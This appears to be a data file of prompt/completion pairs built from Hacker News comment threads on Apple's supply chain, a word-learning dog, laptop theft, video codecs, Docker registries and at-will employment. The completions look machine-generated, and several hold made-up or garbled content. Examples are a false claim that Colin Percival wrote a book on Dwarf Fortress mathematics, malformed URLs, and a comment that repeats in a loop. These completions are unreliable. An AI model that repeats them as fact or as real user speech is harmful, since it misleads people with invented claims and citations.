similar algorithm to move a large\nnumber of objects in a 3d space, without the need for a 3d computer.\n\n~~~\njudk\nIt's not about moving them, it's about moving a subset of them.\n\n------\njokoon\nI wonder if it would be possible to use", "input_text": " fit exactly in the space left over by the old\nelements?\n\nSolving the equations suggest a fibonacci like sequence, seeded by something\nlike \"2, 3, 4, 5\". Continuing 9, 14, 23 etc.\n\n~~~\njudk\nhe golden ratio and then rounding down. What's the point of putting 4 into the\nseed sequence?\n\n~~~\nthomasahle\nWithout _4_, the sequence would be _2, 3, 5_. Then the next value would be\n_9_ by fibonacci. But that's bigger than the _5_ we get from adding up all the\nunallocated pieces ( _2_ and _3_ ).\n\nWe could use just _2, 3, 4_ as a seed, but we can't use the fibonacci formula\nbefore the fourth element is added. Try some different seeds for yourself,\nit's trickier than you'd think.\n\n------\nmalkia\nFor big vectors, if there is obvious way, I always hint vector with reserve()\n- for example knowing in advance how much would be copied, even if a bit less\ngets copied (or even if a bit more, at the cost of reallocation :().\n\n------\nck2\n_Then the teleporting chief would have to shoot the original_\n\nAs an aside, there was a great Star Trek novel where there was a long range\ntransporter invented that accidentally cloned people.\n\n(I think it was \"Spock Must Die\")\n\n~~~\ndalke\nThere's also the ST:TNG episode \"Second Chances\".\n[http://en.wikipedia.org/wiki/Second_Chances_%28Star_Trek:_Th...](http://en.wikipedia.org/wiki/Second_Ch"} +{"output_text": " its behavior is just as flawed as\nmeasuring it by its brain size.\n\n------\njfoutz\nI'm not sure I understand the dog's performance. The researcher had the dog\nwatch a video of a toy being taken out of the box, and then put back in. The\ndog was then tested on whether the toy was in the box. I would have thought\nthat the dog would have recognized the toy from seeing it in the video, and\nthen remembered", "input_text": "one, turns out I had artsys app installed and got\ndeep linked into it, then was greeted with a login screen, no way to skip and\nnot the article.\n\nHunted and pecked for it on my home screen, and uninstalled it\n\n------\ncosinetau\nMove fast and break shit!\n\n~~~\nnkrisc\nChildren have been doing that for ages.\n\n \n\nDog learns over 1,000 words - dangoldin\nhttp://www.nytimes.com/2011/01/18/science/18dog.html\n\n======\nVivtek\nI call shenanigans. The researcher wrote the name of each toy onto it with a\nSharpie - clearly the dog simply read the name off instead of memorizing all\n1000 items.\n\nThere's just so much sloppy research out there.\n\n~~~\nJshWright\nI think it's funny that the dog's recall outpaced the researcher...\n\nThe article mentions the fact that humans can use context to help remember\nwords, but the dog has to use rote repetition. It's interesting that the\nreliance on context that helps us learn stuff in general could mean that dogs\nmay actually be \"better\" at building a vocabulary of 1000+ unrelated names.\n\n~~~\nmhb\nIt doesn't sound like the researcher had any trouble remembering the words.\nJust remembering which ones he had taught to the dog.\n\n------\njeremymims\nWe humans define intelligence in such limited terms.\n\nI have a border collie who's remarkably intelligent. But the words she knows\nare just the beginning. She's incredibly perceptive. Gestures, facial\nexpressions, and vocal tone are all things she pays attention to.\n\nDetermining how intelligent an animal is by"} +{"output_text": " ahead.\n\n------\njoe_the_user\nThe author's argument that Apple's strategy is to \"undercut rivals on price\"\nis hard to follow. It's not clear to me that Apple's strategy is to undercut\nrivals on price.\n\nIt's much easier to undercut rivals on value, which is the ability to provide\na well-integrated experience. The author seems to be assuming that Apple's\nprice advantage is rooted in the ability to", "input_text": "youtube.com/watch?v=9RYXqCtsZsc> (watch from 21:00 for the\nexact part).\n\nIt claims that Apple has some major advantage in terms of capital cost for the\ndevices themselves. It mentions their chips but I don't see how they can have\nsuch a major advantage.\n\nI'd love to hear if anyone has any insights into how they might be able to\nhave radically lower costs.\n\nThe guy seems pretty credible.\n\n~~~\nangstrom\nHe's talking about the supply chain optimization. One example is the dram\nchips used to build the iphone came from Samsung. They were sourced at\nquantities so large they are actually cheaper for Apple's iPhone than they are\nfor Samsung's own phones. Streamlined products where the only segmentation is\nstorage space make this possible. They can actually request such a large order\ntheir competitors can't match and get squeezed to the end of the manufacturing\nline while also paying more. To match they have to spend more. This hurts even\nmore if your'e not controlling the distribution.\n\nTo the average non-techie all they have to decide is what color and storage\nsize they want. This makes the device friendlier to consumers and takes away\nstress of understanding the hardware choices. The customer is actually happier\nif they don't have too many choices. People pay as much for this as they do\nthe curated apps.\n\n~~~\npja\nI've read elsewhere that Apple also started fronting the capital for the plant\ninvestment required to build the components they need, in return for very\nfavourable lock-in agreements (\"We will always be able to buy your product at\n10% less than anyone else.\" That kind of thing.)\n\nIn short, Apple is thinking big & thinking"} +{"output_text": " they could get it.\n\n------\npatio11\n_I have a hard time getting people to try new features, or to try new\nproducts._\n\nThis is a very good problem to have for a business. If you have a business\nselling a product, you have a problem that is endemic to the industry. If you\nare a startup selling a product, you have a problem that is endemic to the\nstartup industry.\n\nI have never heard of a", "input_text": "'t as effective is trying to serve both dummies and experts by offering\nplans with wildly different pricing.\n\nYou probably need to make a choice: choose a positioning in either the\n\"dummies\" or \"expert\" space and serve only this population.\n\n~~~\nsgdesign\nFunny, I thought about illustrating the post with 30 Rock's Liz Lemon (as a\nfamous \"dummy\") but thought people wouldn't get the reference.\n\nBut after reading about this \"Lemon Effect\", I'm starting to think maybe her\nname is not a coincidence\u2026\n\n------\ngscott\nGoing above and beyond on end user self-service support helps.\n\n1\\. Mouseover help on every input field\n\n2\\. Searchable help system with screen captures, it has to be comprehensive.\n\n3\\. Video help, Camtasia style walk throughs.\n\nYour users are not dummies. They need support, on the feature they are using,\nwhen they are using it. You can either provide that support self-service or\nyou can provide it via email/phone. One is far easier for the user (self-\nservice) and the other is much harder on you (answer emails on how to use\nbasic functionality).\n\nI ran a free crm system for about 10 years, it took refining how each feature\nworked and creating all of the different ways of self-service support but I\nwas able to get technical support down to 1 question per week. That was with\nabout 1,200 unique daily users... users who would be in the system all day\nbecause they had all of their calendars, files, contacts, and other things\nonline in the system. They didn't want to wait for support, they wanted the\nanswer right away and I made sure"} +{"output_text": "\ndjt\nI guess it depends on the crime. If you're going to buy a laptop anyway then\nit's not a huge deal to lose it. If you're going to sell it for $50 then it's\na much bigger deal.\n\n------\njrockway\nI have a hard drive that I keep in my backpack. I plug it in when I am at\nuniversity, and plug it back in when I am done. It never gets lost, and", "input_text": " way they have a low risk, easy to turn\nover, virtually untraceable scheme, and that is obviously a very attractive\nthing.\n\n~~~\nfreiheit\nShoplifting is theft. I think you meant \"robbery\".\n\n~~~\nCogito\nYou are of course correct, I should have picked that up thanks!\n\n------\ndjt\nA similar story: I read years ago that there was a gang of people that would\nsteal laptops at airports when businessmen were tired and unattentive. The\nreason they gave was that it was easy to move them (this was 10 years ago so a\nMacbook Pro was about $5k) and if they got caught they could pretend they\naccidently picked it up instead of their own bag. If they got caught it was\nvery unlikely to be prosecuted.\n\nThe robbers said that compared to robbing a convenience store etc it made as\nmuch cash but the risk was extremely low.\n\n~~~\nGabrielF00\nAbout five years ago I worked in an office that was above a physical therapy\nplace. Sometimes patients would sneak upstairs and steal a laptop. We were\nable to recover one laptop: the guy who stole it sold it to a kid for $50 and\nwhen the kid came home, his Dad made him tell how he'd gotten it. The Dad\nfound our number and said he'd give us back the laptop for the $50 his kid\nspent, which we were happy to do. Another time a laptop was stolen the thief\nwasn't smart enough to take the power cord.\n\nI guess if you're desperate enough that you're willing to commit a crime for\n$50 then stealing a laptop is a better idea than robbing a convenience store\nbut you still have to be pretty desperate.\n\n~~~"} +{"output_text": " make it obsolete.\n\n~~~\ntambre\nI don't know where you've been, but I've been following the AV1 discussions\nvery closely.\n\nH265 is superior to VP9, but it's not even in the same league as AV1.\n\n~~~\nThe_rationalist_brother\n> I don't know where you've been, but I've been following the AV1 discussions\n> closely.\n\nI have, and I agree that", "input_text": "71065g7-or-ryzen-7-4700u-the-laptop-market-just-blew-wide-open)\n\n~~~\nbasilgohar\nNot that I want to apologize for poor performance, but I remember feeling let\ndown by that review because some obvious differences between the platforms\nwere not highlighted that should feed into the conclusions, not the least of\nwhich was the drastically different memory used between the two platforms.\n\nThe article was billed as \"let's see the difference between AMD and Intel\" but\nthere were significant platform differences that made it not quite apples-to-\napples.\n\n------\nMikusR\nAny idea if these support full HW acceleration of VP9 (Youtube)?\n\n~~~\nwmf\nThe previous gen has it, so yes.\n\n~~~\nThe_rationalist\nAnd about AV1?\n\n~~~\ntambre\nVery unlikely. They'd be the first to ship customer PC parts with AV1 decode\nsupport. But the next generation almost certainly will. Same goes for other\nvendors, for Nvidia post-Ampere, for Intel post-Icelake/Tigerlake/whatever the\nnext is nowadays, etc.\n\nOtherwise, there are AV1 decode IPs available, including a SoC or two. Plus\nsome very recently announced set-top boxes and TVs. So you'll definitely be\nseeing some hardware with AV1 support shipping this year.\n\n~~~\npkulak\nCan't wait. I'm really hoping AV1 is the be-all end-all and we can all stop\nmoving to new codecs.\n\n~~~\nThe_rationalist\nAV1 is inferior to h265 and the successor to h265 should come soon and rekt\nAV1 and"} +{"output_text": " How many people have contributed to the project? If it's a small project, it's not going to be well-documented. If it's a large project, it's not going to be well-documented unless there is a central maintainer.\n\n* How many people have contributed code to this project in the last six months? If it's a small project, that's a big warning sign. If it's a large project, that's a big warning sign.\n\n* How", "input_text": " up in the best\nway possible and is worth a read: [https://thedefiant.substack.com/p/ether-is-\nthe-best-model-fo...](https://thedefiant.substack.com/p/ether-is-the-best-\nmodel-for-money)\n\n \nAsk HN: How do you measure risk with an open source project? - bazMVP\nIf you've found a new project on GitHub that you want to use, how do you quantify the associated risk of using it in a "production" application? For example: the project is only open for 6 months, or has many more open issues vs. closed issues, or has negative sentiment in commit messages. Of course it's a case-by-case basis, I'm looking for examples of what factors are deemed important when making this type of decision.\n======\nkazinator\n* I look at the code and determine, subjectively, whether this was written by first-rate developers or monkeys. I will consider this from various angles ranging from the overall program organization, to the details of how the programming language is used. If I spot bugs in this inspection, I will skip the project and look for something else. In particular anything that is a security flaw or could cause a crash is an instant deal-breaker. Not because everyone should be perfect and write error-free code the firs time, but because I was able to find it just by casually looking, whereas the maintainers have been working with that code for months and are blind to it---that erodes my confidence in the developers.\n\n* I will look for a regression test suite: how extensive is it? If you don't see any tests, that's a big warning sign.\n\n*"} +{"output_text": ". Bell. He is the guy who wrote the\nentire book on the mathematics behind the game of Dwarf Fortress.\n\nHe's also the guy who wrote the original version of this game in C.\n\n[http://www.dwarf fortress.org/index.php?p=10&id=10](http://www.dwarf-\nfortress.org/index.php?p=10&id=10)\n\nHe's", "input_text": " want to give you my email id. As a user, I take\nthe time and effort to actually visit your site without anyone marketing it to\nme, and I am turned away without even being told what you guys do.\n\n~~~\nsthomps\nYes, I realize that. We are in stealth mode currently and in the process of\nbuilding the alpha platform. I do appreciate you visiting though, and we do\nunderstand that it is your time and there is little information about the\nproduct.\n\n~~~\nchaosprophet\nI don't really get the fuss about stealth mode. AFAIK you don't really achieve\nanything being in stealth mode. You might get some traffic out of the mystery\nfactor, but other than that I really don't see any reason why startups choose\nto be in stealth mode. Personally I would be shouting off the roofs about what\nwe are doing.\n\nIn any case, I believe that if you're asking user's for their email, then you\nshould tell them what you are doing. You don't have to give much details. A\nshort 3 line summary would be enough. In my opinion, \"Explore. Connect.\nAchieve.\" isn't going to get you a lot of emails. Just my two cents.\n\n~~~\nalain94040\nI can think of _one_ reason to be in stealth mode: so the press covers you\nwhen you get out of stealth mode. Because that's news. Apart from that, I\ndon't think it matters.\n\n \nThe software development final exam: Mathematics - cperciva\nhttp://www.daemonology.net/blog/2012-10-10-software-development-final-exam-part-3.html\n======\nkamaal\nI have immense respect for Dr Collin P"} +{"output_text": "'s something about the tone of the title\n\"Why...we're a titleless startup.\" It sounds like a plea, or a warning.\nSomething like \"if you're thinking of joining us, think again.\"\n\nI think it would have been better to simply write \"We're a titleless startup,\nand it's going to be awesome.\"\n\n~~~\njolie\nI agree that it could have been better phrased. I was trying to convey the\nidea", "input_text": "agicman\nAnytime they say something like \"Just do X now and we'll do Y in the future\"\nwhere X is an idea you disagree with that will be a problem in the future, and\nY is your proposed alternative to fix things now before they get out of hand.\n\nGet ready to be fixing shit.\n\n------\nmichelinman\nBoss asks 'When?', I say 'You can have it now or in 3 days when it works'.\nBoss decides NOW to hit his deadline. Not allowed to book any more time to it.\nSlagged of un-mercifully in testing. Thanks Boss. \u00a350Bn business is run this\nway.\n\n------\nalliao\n\"I myself personally can't stand politics get in the way of work!\" rather\nsuggestive that they're thinking about it...a lot.\n\n\"why don't you be the team leader, but let's not tell anyone...\"\n\nHmmm\n\n------\nthewhitetulip\n1\\. You need to reskill! Future is about x y or z technology\n\n2\\. You have already learnt x technology? We can move you of your current\nproject manger can release you.\n\n3\\. _Sighs_ reskilling isn't working as per our expectation\n\n------\nIdidntdothis\nIn my company they sometimes change \u201cestimates\u201d to \u201ccommitments\u201d.\n\n~~~\noneepic\nHow often is sometimes? Always?\n\n------\ncntlzw\nflattering\n\n \n\nWhy we're a titleless startup - jolie\nhttp://socialuxe.com/2010/04/why-we-are-a-titleless-startup/\n\n======\naasarava\nIt's a good article, but there"} +{"output_text": "\n\n~~~\nthrowawaysea\nYou are cherry picking quotes from his writing to make your point. I would\nexpect a HN reader to be able to find other articles where he explicitly\nrejects Nazism and white supremacy.\n\n~~~\npaulddraper\nI'm not cherry picking.\n\nHe's a nationalist, but explicitly rejects Nazism/neo-Nazism.\n\n~~~\nthrowawaysea\nI don't understand your argument.\n\nAre", "input_text": "rs-leon.html) [https://penetrate.blogspot.com/2016/11/an-alt-right-\nsearch-e...](https://penetrate.blogspot.com/2016/11/an-alt-right-search-\nengine.html) [https://penetrate.blogspot.com/2016/10/anonymous-email-is-\nan...](https://penetrate.blogspot.com/2016/10/anonymous-email-is-anti-\nsemitism-new.html)\n\n~~~\npaulddraper\nWhere in those blog posts do you see that he is a member, ally, or ideological\nproponent of the National Socialist German Workers' Party?\n\nHe's a nationalist, but explicitly rejects Nazism/neo-Nazism.\n\n> Why the Future of Nationalism is Far from the Mess that is \"White\n> Nationalism\"\n\n> To my mind, it's a mistake to identify as pro-white or neo-Nazi when what we\n> want is much simpler...That means that each nation rules itself, makes its\n> own rules, and does so through culture instead of the bureaucratic\n> governments that absorb infinite money, make crazy rules, become corrupt,\n> and kick down your door in the night because you said something socially\n> unpopular on Farcebook or Twitless.\n\n> In my view, those who want to be \"pro-white\" should shift to this\n> generalized nationalist program\n\n[https://penetrate.blogspot.com/2013/11/why-future-of-\nnationa...](https://penetrate.blogspot.com/2013/11/why-future-of-nationalism-\nis-far-from.html)"} +{"output_text": "ially it would be a much better deal for them than for workers.\n\n~~~\nsliverstorm\nIt's not a horrible deal for workers. The worker gets a paycheck, the company\ngets a paycheck.\n\n~~~\nguard-of-terra\nThat's not what I meant. Apple is not making money on iPhone. They are making\nmoney on app store. If iPhone workers were paid $1000 a month, iPhone app\nsales would drop.\n\n", "input_text": ".\n\n------\nmahyarm\nThe parallels between america vs europe back in the 1800s and china vs america\nnow are very interesting.\n\n------\nwallflower\nIf you have not read \"What is China\", read it after:\n\n\n\n~~~\njackfoxy\nWould really like folks who down-voted you to explain themselves. The fact\nChina (and Russia) are the only supports of North Korea says everything you\nneed to know about the essence of the rulers of both countries.\n\n~~~\nforensic\nWell, someone needs to be friends with NK. I don't think China leaning on NK\ncould really help there. NK would just get more isolated. The solution to\nNorth Korea is to stop scaring them so that they will come out of their shell\na bit.\n\n------\ngkanai\nDalai Lama Apple advertisement:\n\n\n\nApple Removes the Dalai Lama From Its Ads in Hong Kong\n\n[http://www.nytimes.com/1998/04/17/world/apple-removes-the-\nda...](http://www.nytimes.com/1998/04/17/world/apple-removes-the-dalai-lama-\nfrom-its-ads-in-hong-kong.html)\n\n------\nguard-of-terra\nI don't understand why your beloved apple won't throw in a $1000 monthly\nstipend for neurodamaged workers and close this horrible issue forever.\nFinanc"} +{"output_text": ".com, you also enable them for other sites.\n\n------\nngrandy\nI like the concept. I'd like to see more airlines though.\n\n~~~\nngrandy\noh, and a way to search by flight number.\n\n------\nngrandy\nI like the concept. I'd like to see more airlines though.\n\n~~~\nngrandy\noh, and a way to search by flight number.\n\n------\nngrandy", "input_text": " to those particular airlines and open tabs after running a\ncorrect search on all those airlines.\n\nBut your site is useless with the America-Centric airlines you have there.\n\nMy suggestion would be to also add a natual language processor where I can\ntype in the airlines I fly with, and this this info is immediately saved in a\ncookie for the next time I use the site. Also, when I start the search, an\naccount should immediately be created for me.\n\n------\naneesh\nFirst we had aggregators like Kayak, Expedia and Farecast. That's clearly too\nmuch work, so now with Tripeedo we have aggregators for the aggregators!\n\n------\npogos\nI'd never thought someone would compete with Orbitz.\n\n~~~\nsmanek\nOrbitz, et. al don't actually do their own search. They outsource all the real\nwork to ITA Software in Cambridge, MA - who actually run all the searches on a\nlarge cluster of servers running Common Lisp.\n\n------\njncraton\nThis site doesn't load in Chrome for me (aw snap error). Is anyone else\ngetting that?\n\nI'm running Chrome 2 on Windows 7.\n\n------\ndiN0bot\ni need tehcnical support: on firefox 3 it first blocked pop-ups, so i enabled\nand got a spew of opened tabs with no search results found (see my other\ncomment). when i tried to search again ff keeps blocking the pop-ups, even\nthough i keep enabling them.!!! nuts, i really want to buy cheap plane\ntickets :P i'll keep trying.\n\n~~~\nngrandy\nthis sounds like a firefox issue. if you choose to enable popups for\ntripeedo"} +{"output_text": "-\nI'm not sure if that's Rakuten or some other company. I've never heard of\nRakuten before.\n\n------\njoeevans1000\nI've been thinking a lot about this lately as well. I'm a senior engineer at a\nbig tech company and I'm very much in the \"it's all about the money\" camp. I\nhave a family and a mortgage to pay, and I'm not sure I can support myself on\n", "input_text": " And then you\nhave maybe 20 peak years of productivity, you sure as hell don't want to spend\nany of it at something you can't respect.\n\nWhen you are done with your career at 60 or 65, you want to be able to look\nback and say \"I did this\" or \"I created that\" or \"I helped this many people\",\nnot \"I worked at that shitty adware company for 2 years because they have me\nfree food and beer\"\n\n------\nseibelj\nInterviewed at a company called Rakuten Loyalty in Boston a few years ago. At\nthat time it was the exact same thing, a malware / adware browser toolbar\ncompany, and they also sold white label toolbars. Took me the entire interview\nto figure out what they actually did. Their website [0] now has very little\ninformation about what they actually do, with a generic contact form. But an\narchive.org [1] of their old website shows the truth. Funny how they hide what\nthey actually do now.\n\n[0] [http://www.rakutenrewards.com/](http://www.rakutenrewards.com/) [1]\n[https://web.archive.org/web/20121216021038/http://rakutenloy...](https://web.archive.org/web/20121216021038/http://rakutenloyalty.com/solutions)\n\n~~~\nhkmurakami\nI guess I'm not entirely shocked since Rakuten the parent company and Japanese\necommerce site has very questionable tactics like emails you can't opt out of\nand forcing new employees to sign up a large number of friends/relatives to\nthe Rakuten credit card.\n\n~~~\nnommm"} +{"output_text": "-Brock\" and he does a great job explaining machining\nconcepts.\n\n[0]\n[https://www.youtube.com/user/OldTony machining](https://www.youtube.com/user/OldTony machining)\n\n------\njoeblau\nI've been learning about machine tools and CNC for the past few months and I\ncan't recommend the book \"Machine Shop Skills\" enough. It's $9 on Amazon but\nI bought", "input_text": ":\n[https://www.youtube.com/watch?v=j-vJxez9UF8](https://www.youtube.com/watch?v=j-vJxez9UF8)\n\n\\- Hammer Drill Mechanism:\n[https://www.youtube.com/watch?v=joetVGrMfAY](https://www.youtube.com/watch?v=joetVGrMfAY)\n\n\\- Blendtec Blender:\n[https://www.youtube.com/watch?v=lA0kiYqyBmo](https://www.youtube.com/watch?v=lA0kiYqyBmo)\n\n\\- KitchenAid Mixer:\n[https://www.youtube.com/watch?v=0qKp-0h9P18](https://www.youtube.com/watch?v=0qKp-0h9P18)\n\n\\- $500 Mining Flashlight:\n[https://www.youtube.com/watch?v=Te06Y26Hyiw](https://www.youtube.com/watch?v=Te06Y26Hyiw)\n\n[1]\n[https://www.youtube.com/user/arduinoversusevil/videos?view=0...](https://www.youtube.com/user/arduinoversusevil/videos?view=0&sort=dd&live_view=500&flow=grid)\n\n~~~\ngravypod\nIf you find youself watching AvE's vid-jeos and enjoying the content\npertaining to machining Id sugest you check out This Old Tony [0]. He's the\n\"Dad\" to the AvE's \"est"} +{"output_text": " is a pretty big deal, even if it\nincludes feature phones.\n\n~~~\ndasil003\nI think you're reading too much into it. The headline is not about feature\nphones, it's about the fact that Apple has a large market share in a declining\nmarket. The fact that they have a large market share in a declining market\nmeans that they have a large profit margin, which is what the headline is\nabout.\n\nThe fact that they have a large", "input_text": " the same market. Of course,\njournalists optimize for the most dramatic headline, not the most informative\nor truthful article, so we're not going to see many apples-to-apples\ncomparisons on this subject in the tech press.\n\nAlso I have a non-rhetorical question. Apple, and several of the competitors\ngraphed here, have many lines of non-smartphone products. Is this graph\ntracking the profit/loss of their smartphone divisions only, or profits of the\ncompany as a whole? If the latter, then the comparison is silly, isn't it? And\nif it's the former, how does this analyst account for costs shared among\nmultiple divisions, such as iOS development (which is a cost that's shared\nwith their iPad and to some extent even their Mac divisions)?\n\n~~~\ndasil003\nYour first paragraph is fallacious.\n\nIf the graph includes feature phones then that will necessarily dilute Apple's\nprofits since they do not make a feature phone. Therefore that makes Apple's\nnumbers appear less impressive.\n\nI don't have an answer to your questions, but I'm sure Mr. Dediu would be\nhappy to answer them transparently. He's not a journalist cooking sensational\nstats, he's a serious amateur analyst who tries to make revealing graphs with\nan intellectual honesty that is refreshing and a community-driven feedback\nprocess that is producing better punditry than most of the professionals. I\nknow a lot of people have a chip on their shoulder about Apple, but it is\npossible to be both interested and impressed by Apple and also still be a\nrational observer.\n\n~~~\nabstractfactory\nThe headline manufactures drama from the contrast between \"8.7% market share\n[in units sold]\" and 75% of profits. This"} +{"output_text": "\n\n------\njoeblau\nI wonder if this will impact the state's efforts to attract HQ2.\n\n~~~\njzwinck\nIt's not clear that HQ2 would have come to Indiana in the first place if the\nstate had not been so aggressive.\n\n------\njzwinck\nThe governor's office says that the contribution was made in response to\nHolcomb's opposition to a proposed expansion of a coal plant.\n\n------\nj", "input_text": "training in proper forklift use. There is no excuse for Amazon not conducting\nproper training.\n\nThe Indiana officials who tried to cover this up should have their ass put in\na sling.\n\n~~~\nfrankharv\nHow about Federal level OSHA refusing to get involved. That is seriously\nmessed up. He even had the audio of the IOSHA coverup and that was not enough\nfor OSHA?\n\nForklift training is one thing. Forklift maintenance is not something you\ncould easily teach. It is learned by years of on the job experience.\n\nSomething that Amazon was not willing to pay for with Forklift Maintenance\nMechanics.\n\nDisgusting show from all parties involved. There should be a FBI investigation\nand the Governors phone location data used. I bet the whistle-blower is right.\n\n------\nLastZactionHero\nIt's embarrassing to watch proud cities (my hometown) humiliate themselves\nlike game show contestants for this HQ.\n\n------\nnottorp\n Amazon\u2019s corporate offices in Seattle gave a $1,000 campaign\ncontribution to Indiana\u2019s governor. It was years before Holcomb would next\nface reelection, and Amazon hasn\u2019t donated to him before or since. \n\nUS state governors are this cheap? :)\n\n~~~\ndarzu\nLobbyist are clever. It often isn't the money directly given that matters, but\nthe threat of giving money to the opponent.\n\n------\nActorNightly\nI highly doubt Amazon cares about $28000\n\n~~~\nab71e5\nThat's what I thought.\n\nMaybe it is about the state showing what it could do for Amazon in the future,\nshould they build their HQ there?"} +{"output_text": " new feature of\n\"Publishing\" which allows you to push to a private registry without requiring\na token.\n\n~~~\njrochkind\nYou don't 'depend upon' anything. You 'use'.\n\nYou can't 'depend upon' something that isn't there.\n\n~~~\nnetsectoday\nI understand that. I am saying that you still depend upon the base images\nbecause you are not using the Docker Hub registry.\n\n------\njro", "input_text": "registry/)\n\nBut you've got other options, such as:\n\n\\- Self-hosted:\n[https://github.com/docker/distribution](https://github.com/docker/distribution))\n\n\\- Cloud-specific (e.g. ECR, GCR, ACR, etc.)\n\n\\- Sonatype Nexus: [https://www.sonatype.com](https://www.sonatype.com)\n\n\\- ProGet: [https://inedo.com/proget](https://inedo.com/proget)\n\n\\- Gitlab: [https://gitlab.com](https://gitlab.com)\n\n\\- Artifactory:\n[https://jfrog.com/artifactory/](https://jfrog.com/artifactory/)\n\nIf you're missing the auto-build functionality, this can be achieved\nreasonably easily with any of the mainstream and awesome CI/CD services out\nthere, such as:\n\n\\- SemaphoreCI: [https://semaphoreci.com/](https://semaphoreci.com/)\n\n\\- CircleCI: [https://circleci.com/](https://circleci.com/)\n\n\\- DroneCI: [https://drone.io/](https://drone.io/)\n\nDisclaimer: I work for Cloudsmith, and still think Docker Hub is great. :-)\n\n~~~\nnetsectoday\nYou can run your own private Docker registry but you will still depend upon\nthe base images pulled from hub.docker.com in your deploy chain unless you\nmake sure to clone the base image Dockerfile from github and build it\nyourself. Even with this protected setup; you still have exposure from\npoisoned Github repos after this attack because of the"} +{"output_text": "time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\" http://www.portent.com/\n\n------\njoshuakarjala\nI think this is a pretty good article. I think the most important part is the\n\"why\" part. I think it's very important to", "input_text": ".\n\nI'd like to explore chip design but I think that requires an electrical\nengineering degree which I don't have.\n\n------\nylk1\nI wonder about the same points for a CPU Architect too.\n\n \n\nHow to make a site really freaking fast - portentint\nhttp://www.portent.com/blog/design-dev/how-we-made-portent-com-really-freaking-fast.htm\n\n======\nirahul\nI don't know. The landing page is painfully slow for\nme. The optimization listed are mostly frontend optimization. The first thing\nI would do is to figure out the bottleneck.\n\n \n \n curl -w \"\\nTotal time: %{time_total}\\nTime pretransfer: %{time_pretransfer}\\nTime starttransfer: %{time_starttransfer}\\nSize download: %{size_download}\\nSpeed download: % {speed_download}\\n\" http://www.portent.com/\n \n Total time: 2.629\n Time pretransfer: 0.375\n Time starttransfer: 1.400\n Size download: 32730\n Speed download: 12449.000\n \n \n\nOk. Not bad. Backend seems to be fine. But then I did the profiling in chrome.\nSome cdn requests are well past 25 seconds in the timeline. For a user, the\nsite load takes more than 25 seconds. Your cdn is the bottleneck - you should\nwork on fixing the cdn first.\n\n~~~\ndarkmethod\nCurl is incredibly useful. However, I noticed that your line above was\ntruncated prematurely.\n\ncurl -w \"\\nTotal time: %{"} +{"output_text": " don't care about the discussion, or don't want to moderate\nit, then don't worry about the people who comment being jerks.\n\n~~~\npytrin\nI agree that it's a trend, but I think it's a good trend.\n\nFacebook is the most popular social network, and it's the only one that I know\nthat allows you to see who commented on your post.\n\nI'm not worried about the people who are going to post garbage", "input_text": ", not even close. The antipode of Iowa is in the\nIndian Ocean and hundreds of miles from any land. The straight-line distance\nfrom Iowa to Egypt through the Earth's sphere would be more like 6000 miles.\n\n------\nsedachv\nRead Jim Gray's Why do computers stop and what can be done about it?\n()\n\nExcerpts:\n\n\"In the measured period, one out of 132 software faults was a Bohrbug, the\nrest were Heisenbugs.\"\n\n\"[retry] routines had a 76% success rate in continuing system execution.\"\n\nCosmic rays or race conditions, transient bugs _are_ common.\n\n \nWhy Facebook comments is a bad idea for your site - pytrin\nhttp://www.techfounder.net/2012/08/15/dont-mix-business-and-personal-why-facebook-comments-is-a-bad-idea-for-your-site/\n======\nalttag\nI don't particularly like the trend of sites offloading their commenting\nmechanisms to Twitter, Facebook, DISQUS, etc. If it's Facebook, I'll never see\nit, due to browser plugins. Twitter is often too short for a good\nconversation, but if you do use it, run a script to import/display related\ntweets instead of making me click. I'm not a fan of DISQUS either, partly\nbecause I use Ghostery. (Alhough, it's good that the new version has a quick\n\"enable once and reload\" feature.)\n\nIf the purpose of your site is to generate discussion, include a discussion\nmechanism. If you"} +{"output_text": ", are more legally enforceable than \"employment at will\".)\n\nAt-will employment is not the default state of employment law in the US.\n\n~~~\nbluGill\nAt-will employment is the default state of employment law in the US. It is the\ndefault state in the UK too, and the UK and US have a lot of similar laws.\n\n~~~\ndragonwriter\n> At-will employment is the default state of employment law in the US", "input_text": " If it's a 5,000-person company, and you weren't give a few chances\nto prove yourself on multiple projects, you can raise accusations of personal\nbias. (That's why companies implement those horrible 18-month policies against\ninternal transfer-- it's to create the impression of a uniform performance\nstandard-- however, those only have legal weight if enforced uniformly, which\nthey never are.) Even if you don't win, you can bring a lot of HR records into\nfresh air (which a company doesn't want) as they try to prove that you failed\naccording to a set of rules that is enforced uniformly. Companies would rather\npay severance than have the courts getting into their HR records.\n\nThe probation period is generally more \"at-will\" than regular employment. For\nmost companies, probation means a couple of things. First, it means that a no-\nshow constitutes voluntary resignation and therefore can't require the company\nto pay unemployment. (This isn't an issue at our level, but most people are\nnot as ambitious and diligent as we are, and no-shows happen.) Second, it\nblocks the \"employee should have been allowed transfer before termination\"\nargument because the going assumption is that no one transfers in a probation\nperiod. Third, it often means no vacation is accrued, which is relevant when\npeople are terminated early on (because they usually haven't used it). Fourth,\nand perhaps most relevant, it means that one should not expect severance if\nterminated in that time.\n\n~~~\ndragonwriter\n> \"At-will\" means that companies have the right to execute strategic layoffs,\n> and also to set performance standards whereever they wish, as long as\n> they're uniformly enforced across that job description. (Both of these, I'd\n> argue"} +{"output_text": " those resources being delivered by the ISP? Yes. Is that a problem? No.\n\n~~~\nbrudgers\nTo me, the analogy is with cable television where the cable company is\ndelivering advertising to the consumer's home. The consumer is not requesting\nthe advertising. The ISP is not delivering the advertising. The consumer is\npaying for the bandwidth. The ISP is delivering the bandwidth.\n\nTo me, the analogy is with cable television where the consumer is paying for", "input_text": " I'm not saying Google _needs_ Orange, but it is indeed a strategic\npartner.\n\nOrange is also an highly trusted ISP in France, and (unlike Free) counts many\ncorporations among its clients. Google probably would not risk alienating\nthose clients by engaging in an open conflict with Orange.\n\nAll in all, I don't think any other French ISP would have been able to wrestle\nsuch a deal from Google.\n\n------\nbrudgers\nA plausible case can be made for charging Google based on the amount of\ntraffic generated by their products which is initialized outside of the\nsubscriber's control.\n\nThe ISP is delivering advertising from which Google benefits and which its\nusers are not explicitly requesting. Charging Google is analogous to a cable\nprovider charging an advertising agency when that agency wants to place ads on\nbehalf of their clients.\n\nOther Google services such as Analytics, tracking cookies, and JavaScript\nlibraries also use capacity without considering the effect on the provider's\nbandwidth.\n\nAgain, this is a plausible position. It is plausible because Google is\ngenerating revenue regardless of the ISP's 